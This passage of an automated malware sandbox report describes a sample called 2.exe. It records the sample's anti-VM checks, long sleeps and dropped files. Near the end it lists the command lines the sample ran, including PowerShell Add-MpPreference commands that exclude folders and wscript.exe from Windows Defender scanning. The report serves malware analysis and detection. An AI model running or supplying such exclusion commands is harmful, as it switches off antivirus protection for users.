Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Source: C:\Windows\System32\wscript.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 19_2_00007FFA1D9181AB str word ptr [eax-05E24510h]

19_2_00007FFA1D9181AB

Source: C:\Users\user\Desktop\2.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6129	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2483	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6708	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1511	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4823	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3262	Jump to behavior

Source: C:\Users\user\Desktop\2.exe

Dropped PE file which has not been started: C:\GatonFiles\Scripts\Link.exe

Jump to dropped file

Source: C:\Users\user\Desktop\2.exe TID: 996	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2.exe TID: 5460	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6168	Thread sleep count: 6129 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6172	Thread sleep count: 2483 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6200	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6760	Thread sleep count: 6708 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6764	Thread sleep count: 1511 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6808	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6556	Thread sleep count: 4823 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6556	Thread sleep count: 3262 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6072	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: 2.exe, 00000000.00000002.374884653.000000001B710000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.269294813.000001AEE9A70000.00000002.00000001.sdmp, powershell.exe, 0000000A.00000002.305312850.00000286D3090000.00000002.00000001.sdmp, powershell.exe, 00000013.00000002.357320383.00000291F3030000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: 2.exe, 00000000.00000002.374884653.000000001B710000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.269294813.000001AEE9A70000.00000002.00000001.sdmp, powershell.exe, 0000000A.00000002.305312850.00000286D3090000.00000002.00000001.sdmp, powershell.exe, 00000013.00000002.357320383.00000291F3030000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: 2.exe, 00000000.00000002.374884653.000000001B710000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.269294813.000001AEE9A70000.00000002.00000001.sdmp, powershell.exe, 0000000A.00000002.305312850.00000286D3090000.00000002.00000001.sdmp, powershell.exe, 00000013.00000002.357320383.00000291F3030000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: 2.exe, 00000000.00000002.372312559.0000000000FA9000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 2.exe, 00000000.00000002.374884653.000000001B710000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.269294813.000001AEE9A70000.00000002.00000001.sdmp, powershell.exe, 0000000A.00000002.305312850.00000286D3090000.00000002.00000001.sdmp, powershell.exe, 00000013.00000002.357320383.00000291F3030000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Source: C:\Users\user\Desktop\2.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\2.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Adds a directory exclusion to Windows Defender

Show sources

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\GatonFiles''
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\temp\Files''
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\GatonFiles''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\temp\Files''	Jump to behavior

Source: C:\Users\user\Desktop\2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Exeptcion.bat''	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertadorRapido.vbs'	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\Mortu.vbs'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net session	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\GatonFiles''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\temp\Files''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionProcess 'C:\Windows\System32\wscript.exe''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 1 /nobreak	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 session	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertadorRapido.bat' '
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Mortu.bat' '
